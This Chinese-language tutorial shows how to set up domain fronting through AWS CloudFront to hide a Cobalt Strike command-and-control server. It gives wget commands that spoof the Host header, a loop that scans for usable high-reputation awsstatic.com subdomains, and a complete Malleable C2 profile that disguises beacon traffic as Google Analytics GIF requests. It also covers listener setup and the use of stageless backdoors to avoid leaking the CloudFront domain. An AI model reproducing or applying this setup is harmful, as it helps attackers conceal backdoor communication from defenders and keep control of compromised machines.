介绍:Domain Frontin域前置,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。
#原理
Domain Fronting 的核心技术是 CDN,1台 CDN 会同时负责多个网站的加速服务,如果我访问的两个网站(a.com 和 b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,那么当我使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但我在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道我访问的是哪个域名,然后才能给我返回对应域名的内容,在和 CDN 服务器通信时,在 HTTP 请求包的 Host 头中填入我们要访问的域名。
一、CloudFront服务,https://console.aws.amazon.com/cloudfront/home
设置完成后会分配到一个域名,xxxx.cloudfront.net
接下来可以用wget测试一下C2域名,
wget -q -O - http://yiwang.com/test.txt
123
#这个是刚刚分配出来的域名,可以请求到test.txt内容
wget -q -O - http://xxxx.cloudfront.net/test.txt
123
修改HOST主机头为CloudFront分配的域名
wget -U demo -q -O - http://a0.awsstatic.com/test.txt --header "Host: xxxxx.cloudfront.net"
123
可以使用高信誉域名来代替我们自己的域名
寻找高信誉域名:for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/test.txt --header "Host: *.cloudfront.net" && echo $i$j; done;done
Cobaltstrike应用准备C2 profile,其中需要替换掉host内容
# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "*.cloudfront.net";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "x01x00x01x00x00x02x01x44x00x3b";
prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "*.cloudfront.net";
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "x01x00x01x00x00x02x01x44x00x3b";
prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
使用./c2lint测试看程序是否正常启动cs创建listener
创建listener的时候host填写CloudFront分配的域名,beacons处填写高信誉域名
这种配置方式后门在进行通信时会出现一次请求*.cloudfront.net域名,然后再切换到高信誉域名进行通信,这种通信会泄露了*.cloudfront.net域名,第一次请求就使用高信誉域名的的话,即创建监听器时把Host填写为高信誉域名,需要使用Stageless模式创建backdoor。
Stageless模式:
参考链接:
1.https://blog.donot.me/domain-fronted/
2.https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=71715#/
3.https://evi1cg.me/archives/Domain_Fronting.html